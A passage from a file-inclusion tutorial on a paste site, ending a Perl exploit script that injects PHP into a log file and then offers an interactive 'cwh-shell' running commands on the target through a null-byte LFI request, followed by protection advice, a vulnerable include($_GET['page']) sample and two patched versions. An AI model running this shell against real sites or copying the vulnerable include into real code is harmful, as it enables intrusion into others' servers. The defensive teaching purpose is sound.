  787. {print "\nSuccessfully injected in $getlog \n";$log=$getlog;}
  788. }
  789.  
  790. print "cwh-shell# ";
  791. chomp( $cmd = <STDIN> );
  792.  
  793. while($cmd !~ "exit") {
  794. $shell= $host.$path.$log."%00&cmd=$cmd";
  795. $xpl = LWP::UserAgent->new() or die "Could not initialize browser\n";
  796. $req = HTTP::Request->new(GET => $shell);
  797. $res = $xpl->request($req);
  798. $info = $res->content;
  799. if ($info =~ /\#\#%\$\$%\#\#(.*?)\#\#%\$\$%\#\#/sg)
  800. {print $1;}
  801. print "cwh-shell# ";
  802. chomp( $cmd = <STDIN> );
  803. }
  804. [End code]------------------------------------------------------------------------------
  805.  
  806.  
  807. ########################################
  808. [0x05] - How to protect File Inclusion
  809. ########################################
  810.  
  811. - Consider implementing a chroot jail
  812. - Check user supplied files or filenames
  813. - Strongly validate user input, Ensure that all variables
  814. are properly initialized prior to the first use
  815. - Disable allow_url_fopen and allow_url_include
  816. - Disable register_globals and use E_STRICT to find uninitialized variables
  817. - Ensure that all file and stream functions (stream_*) are carefully vetted
  818. - To avoid being injected with remote files, it is essential to specify exactly
  819. where the file should be located, e.g. its full path
  820. - Secure Code, If you want to use include() function, For example:
  821.  
  822. // Vulnerable Code !!
  823.  
  824.  
  825. [code]----------------------------------------------------------------------------------
  826. <?php
  827. $file =$_GET['page'];
  828. include($file);
  829. ?>
  830. [End code]------------------------------------------------------------------------------
  831.  
  832.  
  833. // #1 Patching Code !!
  834.  
  835.  
  836. [code]----------------------------------------------------------------------------------
  837. <?php
  838. include "./new.php"; <-- Should not use file name from $_GET content,
  839. ?> Always specify your files to include
  840. [End code]------------------------------------------------------------------------------
  841.  
  842.  
  843. // #2 Patching Code !!
  844.  
  845.  
  846. [code]----------------------------------------------------------------------------------
  847. <?php
  848. $file =$_GET['page'];
  849. $check = array('index.php', 'new.php', 'guestbook.php');
  850. if(in_array($file, $check)) <-- Check $_GET['page'] from array[]
  851. {include($file);}
  852. else{die("Don't Hack Me Plz!");}
  853. ?>
  854. [End code]------------------------------------------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment